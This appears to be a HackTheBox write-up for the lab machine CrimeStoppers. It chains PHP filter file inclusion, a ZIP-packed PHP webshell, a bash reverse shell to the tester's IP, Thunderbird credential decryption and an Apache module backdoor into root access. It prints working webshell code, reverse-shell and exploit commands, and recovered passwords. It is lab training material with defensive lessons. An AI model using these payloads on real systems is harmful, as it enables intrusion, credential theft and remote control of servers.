HTB: CrimeStoppers Writeup
CrimeStoppers - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | CrimeStoppers |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.10.80 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
CrimeStoppers is a challenging Linux box that emphasizes creative exploitation techniques and anti-automation defenses. The initial foothold requires exploiting PHP filter/wrapper mechanisms to achieve source code disclosure, followed by leveraging PHP’s ZIP wrapper to execute code through a binary-encoded upload. User access involves extracting credentials from a Thunderbird profile and pivoting through IPv6 SSH. Root access is obtained by reverse engineering a backdoored Apache module that implements a custom XOR authentication scheme. This machine rewards deep understanding of PHP internals, binary analysis, and creative thinking over automated scanning.
TL;DR: PHP filter LFI → Source disclosure → ZIP wrapper RCE via binary upload → Thunderbird credential extraction → IPv6 SSH pivot → Apache module reverse engineering → XOR backdoor exploitation → root shell
Reconnaissance
Port Scanning
# Initial TCP scannmap -sC -sV -T4 -p- 10.10.10.80Results:
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.25 (Debian)Only port 80 was open on IPv4. The web server returned minimal information, suggesting a deliberately restricted attack surface designed to prevent automated enumeration.
Service Enumeration
Web Server (Port 80):
Browsing to http://10.10.10.80 presented a “crime tips” submission portal. Key observations:
- Simple form for submitting anonymous tips
- Cookie named
adminset to0(plaintext, no signing) - URL parameter
?op=appeared to control file inclusion - Most PHP files returned blank pages when accessed directly
Setting admin=1 revealed additional functionality and hints about the server’s behavior but wasn’t strictly necessary for exploitation.
Directory Discovery:
Manual enumeration revealed several PHP files:
index.php- Main entry pointcommon.php- Shared functionsupload.php- File upload handlerlist.php- Tip listing (admin only)view.php- Tip viewer
Vulnerability Assessment
- Local File Inclusion (LFI) - The
?op=parameter includes PHP files without proper sanitization - PHP Filter/Wrapper Abuse - PHP streams can be leveraged for source code disclosure
- Unrestricted File Upload - Tips are stored without proper validation
- Information Disclosure - Application behavior leaks file paths and upload names
Initial Foothold
Phase 1: Source Code Disclosure via PHP Filters
PHP’s filter wrappers allow converting included files to base64, bypassing PHP execution and revealing source code:
# Disclose index.php sourcecurl 'http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=index'The base64 output can be decoded to reveal the PHP source:
# Decode the base64 responseecho "PD9waHANCi8vIFtCYXNlNjQgb3V0cHV0XQ==" | base64 -dWhy this works: PHP’s include() function processes PHP filter streams before execution. The convert.base64-encode filter transforms the file content to base64 before PHP’s parser sees it, preventing code execution and revealing raw source.
Repeating this process for common.php, upload.php, list.php, and view.php revealed:
- Upload path disclosure: Files are stored in
uploads/<CLIENT_IP>/<SHA1_HASH> - Hash algorithm: Uploaded tips are renamed using
sha1()of their content (called “secretname”) - No extension validation: Files are stored without extensions
- ZIP processing hints: Code references handling compressed submissions
Phase 2: Crafting a Malicious ZIP Upload
The attack vector combines three PHP features:
- ZIP wrapper:
zip://path/to/file.zip#internal_file.phpallows including files inside ZIP archives - Binary upload: Raw ZIP bytes can be submitted as “tip” content
- Predictable naming: SHA1 hash allows locating the uploaded file
Creating the malicious ZIP:
# Create a simple PHP webshellcat > writeup.php << 'EOF'<?phpsystem($_GET['cmd']);?>EOF
# Package it into a ZIP filezip payload.zip writeup.php
# Extract the raw binary datacat payload.zipSubmitting via intercepted HTTP request:
POST /upload.php HTTP/1.1Host: 10.10.10.80Content-Type: application/x-www-form-urlencodedContent-Length: [LENGTH]Cookie: admin=0
tip=PK[...raw ZIP bytes...]&name=Anonymous&tel=5551234567&msg=TestWhy this works: PHP’s upload handler accepts any POST data for the tip parameter, including binary data. The file is written to disk as-is, creating a valid ZIP file without a .zip extension. The server returns a 302 redirect that leaks the SHA1 hash in the Location header.
Phase 3: Remote Code Execution
After submission, the 302 redirect revealed the secretname (SHA1 hash):
Location: /view.php?op=view&secretname=9dfc0e1200ee90d2a380c2fcd2ff036754be27b4Triggering code execution:
# Use ZIP wrapper to include writeup.php from within the uploaded "tip"curl 'http://10.10.10.80/?op=zip://uploads/10.10.15.180/9dfc0e1200ee90d2a380c2fcd2ff036754be27b4%23writeup&cmd=id'Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Why this works: The ?op= parameter includes the provided path. The ZIP wrapper (zip://) tells PHP to open the file as a ZIP archive and extract the specified internal file (#writeup refers to writeup.php). The extracted PHP code is then included and executed, with $_GET['cmd'] passing our command to system().
Establishing Better Access
# Stage a reverse shell payloadcurl 'http://10.10.10.80/?op=zip://uploads/10.10.15.180/[HASH]%23writeup&cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.15.180/4444+0>%261"'
# Listenernc -lvnp 4444Received shell as www-data.
Privilege Escalation
Phase 1: Lateral Movement to Dom
Enumeration as www-data:
# Check home directoriesls -la /home# drwxr-xr-x 4 dom dom 4096 [date] dom
# User flag is world-readablecat /home/dom/user.txt# <redacted>Thunderbird Profile Discovery:
# Locate Thunderbird datafind /home/dom -name "*.default" 2>/dev/null# Check for password databasesls -la /home/dom/.thunderbird/36jinndk.default/# -rw-r--r-- 1 dom dom 1234 [date] key3.db# -rw-r--r-- 1 dom dom 5678 [date] logins.jsonBoth credential files were world-readable—a critical misconfiguration.
Exfiltrating Thunderbird Credentials:
# Working directory (full /tmp prevented large file operations)cd /dev/shm
# Exfiltrate key databasebase64 /home/dom/.thunderbird/36jinndk.default/key3.db > key3.b64cat key3.b64# [Copy output]
# Exfiltrate login JSONbase64 /home/dom/.thunderbird/36jinndk.default/logins.json > logins.b64cat logins.b64# [Copy output]Local decryption (attacker machine):
# Reconstruct filesecho "[base64_output]" | base64 -d > key3.dbecho "[base64_output]" | base64 -d > logins.json
# Create minimal profile structuremkdir -p firefox_profilemv key3.db logins.json firefox_profile/
# Use firefox_decrypt toolgit clone https://github.com/unode/firefox_decrypt.gitcd firefox_decryptpython3 firefox_decrypt.py ../firefox_profileOutput:
Website: https://mail.example.comUsername: 'dom'Password: 'Gummer59'Why this works: Thunderbird stores credentials in an encrypted format using NSS (Network Security Services). The key3.db file contains the master encryption key (often with no password protection by default), while logins.json contains the encrypted credentials. The firefox_decrypt tool uses Mozilla’s NSS library to decrypt these credentials when no master password is set.
Phase 2: IPv6 SSH Pivot
Network enumeration:
# Check listening servicesss -tulnp# tcp6 LISTEN 0 128 :::22 :::*SSH was bound to IPv6 only—IPv4 connections were filtered.
Obtaining the IPv6 address:
ip addr show dev ens33# inet6 dead:beef::a0de:adff:fe75:e36f/64 scope globalSSH connection:
# Connect via IPv6ssh dom@dead:beef::a0de:adff:fe75:e36f# Password: Gummer59Successfully authenticated as dom.
Phase 3: Root via Apache Module Backdoor
Reconnaissance as dom:
# Check for unusual filesfind /etc/apache2 -type f 2>/dev/null# /etc/apache2/mods-available/mod_rootme.so
ls -la /etc/apache2/mods-available/mod_rootme.so# -rw-r----- 1 root apache 8536 [date] /etc/apache2/mods-available/mod_rootme.soDom was a member of the apache group, granting read access to the suspicious module.
Exfiltrating the module:
# Base64 encode for transferbase64 /etc/apache2/mods-available/mod_rootme.so# [Copy output to local machine]Binary analysis (local machine):
# Reconstruct the binaryecho "[base64_output]" | base64 -d > mod_rootme.so
# Check for interesting functionsnm -D mod_rootme.so | grep -i dark# 00001234 T darkarmy
# Disassemble the darkarmy functionobjdump -d mod_rootme.so -M intel | grep -A 50 "<darkarmy>"Key findings from reverse engineering:
- The module listens on port 80 (standard Apache)
- Function
darkarmy()implements backdoor authentication - XOR operation:
HackTheBox⊕0e140d383b0b0c271b01= passphrase - Banner string:
rootme-0.5 DarkArmy Edition Ready
Computing the XOR key:
#!/usr/bin/env python3
# XOR key from binary analysishex_key = bytes.fromhex('0e140d383b0b0c271b01')plaintext = b'HackTheBox'
# XOR operationresult = ''.join(chr(hex_key[i] ^ plaintext[i]) for i in range(len(plaintext)))print(f"Backdoor passphrase: {result}")Output:
Backdoor passphrase: FunSocietyWhy this works: Apache modules can register custom handlers for HTTP requests. This backdoored module intercepts specific requests and checks for a passphrase. The XOR obfuscation is a common technique to hide strings from casual strings analysis—the actual passphrase is computed at runtime by XORing the embedded key with HackTheBox.
Exploiting the backdoor:
# Connect to Apache and send the magic passphrasenc 10.10.10.80 80GET FunSocietyResponse:
rootme-0.5 DarkArmy Edition Readyiduid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt<redacted>The backdoor responded with a root shell.
Attack Chain Summary
PHP Filter LFI (source disclosure) → Binary ZIP upload via tip submission → ZIP wrapper RCE (www-data shell) → World-readable Thunderbird credentials (dom:Gummer59) → IPv6 SSH pivot (dom user) → Group-readable Apache module extraction → XOR backdoor reverse engineering (passphrase: FunSociety) → Apache backdoor exploitation → Root shellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and parameter manipulation |
base64 | Encoding/decoding file transfers |
firefox_decrypt | Extracting credentials from Thunderbird/Firefox profiles |
objdump | Disassembling the Apache module |
nm | Listing symbols in the shared object |
python3 | XOR computation and scripting |
nc | Reverse shells and backdoor exploitation |
ssh | IPv6 authentication as dom |
Key Learnings
Techniques Practiced
- PHP filter/wrapper exploitation - Using
php://filter/convert.base64-encodeto bypass execution and disclose source code - PHP ZIP wrapper abuse - Including files from within ZIP archives via
zip://protocol - Binary data injection - Submitting raw ZIP bytes through web forms to create valid archives server-side
- Thunderbird forensics - Extracting and decrypting credentials from NSS databases (
key3.db,logins.json) - IPv6 network pivoting - Identifying and connecting to services bound only to IPv6 addresses
- Apache module reverse engineering - Analyzing custom
.somodules to identify backdoor logic - XOR deobfuscation - Reversing simple XOR encryption to recover hardcoded passphrases
Lessons Learned
-
PHP wrappers are powerful attack primitives - The combination of filters and wrappers (
php://,zip://,data://) enables attacks far beyond simple file inclusion. Always sanitize user input that flows intoinclude(),require(), orfile_get_contents(). -
File permissions matter at every level - World-readable credential stores (Thunderbird profile) and group-readable binaries (Apache module) both led to privilege escalation. Apply the principle of least privilege rigorously.
-
Binary uploads bypass many validation schemes - Checking file extensions or MIME types is insufficient when raw POST data can create valid file structures (ZIP, archives, executables). Validate content thoroughly and consider rejecting binary data entirely.
-
IPv6 is often overlooked in hardening - SSH being filtered on IPv4 but open on IPv6 represents a common misconfiguration. Always enumerate both IPv4 and IPv6 when assessing network services.
-
Custom backdoors require reverse engineering skills - Automated tools won’t find a custom Apache module backdoor. Understanding assembly, calling conventions, and common obfuscation techniques (XOR, base64) is essential for advanced exploitation.
-
Default Thunderbird security is weak - Without a master password, Thunderbird credentials are easily recoverable by anyone with filesystem access. Always enable master password protection for credential stores.
-
SHA1 predictability enables exploitation - Using
sha1()of content as a “secret” filename provides only pseudonymity—attackers who control the input can predict the output. Use cryptographically random identifiers with sufficient entropy.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: CrimeStoppers (Document No D18.100.05) by Alexander Reid (Arrexel)
- Machine Author: ippsec
- PHP Manual: Supported Protocols and Wrappers - https://www.php.net/manual/en/wrappers.php
- firefox_decrypt - https://github.com/unode/firefox_decrypt